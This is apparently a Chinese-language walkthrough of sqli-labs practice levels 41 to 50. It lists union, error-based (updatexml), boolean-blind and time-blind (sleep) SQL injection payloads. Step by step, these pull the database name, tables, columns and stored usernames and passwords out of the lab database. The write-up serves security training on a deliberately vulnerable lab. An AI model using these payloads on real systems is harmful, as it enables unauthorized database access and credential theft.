sql-labs靶场(41-50)
四十一
1.查看数据库名
?id=-1 union select 1,2,database()--+
2.查看表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
3.查看user表列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
4.查看user表中信息
?id=-1 union select 1,2,group_concat(id,username,password) from users --+
四十二
1.抓包发送到重放器
2.查看数据库名
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select database())),1)--+
3.查看表名
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
4.查看user表中列名
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
5.查看user表中信息
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+
四十三
1.登录抓包放到重放器
2.查看数据库名
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select database())),1)--+
3.查看表名
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
4.查看user表中列名
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
5.查看user表中信息
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+
四十四
1.登录抓包放到重放器
2.
页面只有ture和flase两种情况,所以需要使用布尔盲注
判断数据库长度大于7 页面图片消失
login_user=1'or 1=1--+&login_password=1000'or length(database())>7--+
3.
判断数据库长度大于8 页面报错 说明数据库长度等于8:
login_user=1'or 1=1--+&login_password=1000'or length(database())>8--+
4.判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>114--+
5.判断数据库第一位字符的ascii码是否大于115 页面显示报错 说明第一位字符ascii码等于115
login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>115--+
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
6.查security数据库中第一张表的第一位字符
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
7.
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
8.判断users表中第一个字段的第一位字符
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
9.
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
10.判断username列的第一条数据的第一个字符
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>67--+
11.
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>68--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb
四十五.
1.抓包放入重放器里
2.页面只有ture和flase两种情况,所以需要使用布尔盲注
判断数据库长度大于7 页面图片消失
login_user=1')or 1=1--+&login_password=1000')or length(database())>7--+
3.判断数据库长度大于8 页面报错 说明数据库长度等于8:
login_user=1')or 1=1--+&login_password=1000')or length(database())>8--+
4.判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>114--+
5.判断数据库第一位字符的ascii码是否大于115 页面显示报错 说明第一位字符ascii码等于115
login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>115--+
6.查security数据库中第一张表的第一位字符
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--
7.
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
8.判断users表中第一个字段的第一位字符
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
9.
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
10.判断username列的第一条数据的第一个字符
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>67--+
11.
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>68--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb
四十六.
1.这关的参数是sort,输入?sort=1
2查看数据库
?sort=1 and updatexml(1,concat(1,(select database())),1)
3.查看表名
?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)
四十七
1.这关的参数是sort,输入?sort=1'--+闭合
2.查看数据库
?sort=1' and updatexml(1,concat(1,(select database())),1)--+
3.查看表名
?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
四十八
1.这关的参数是sort,输入?sort=1
2.查看数据库
判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :
?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)
3,
判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
4.查看表名
查security数据库中第一张表的第一位字符
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)
5.页面延迟三秒访问
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)
页面正常访问
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
四十九
1.这关的参数是sort,输入?sort=1'--+闭合
2.查看数据库
判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :
?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+
3.判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
4.查看表名
查security数据库中第一张表的第一位字符
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+
5.页面延迟三秒访问
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+
页面正常访问
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
五十
1这关的参数是sort,输入?sort=1
2.查看数据库
?sort=1 and updatexml(1,concat(1,(select database())),1)
3.查看表名
?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)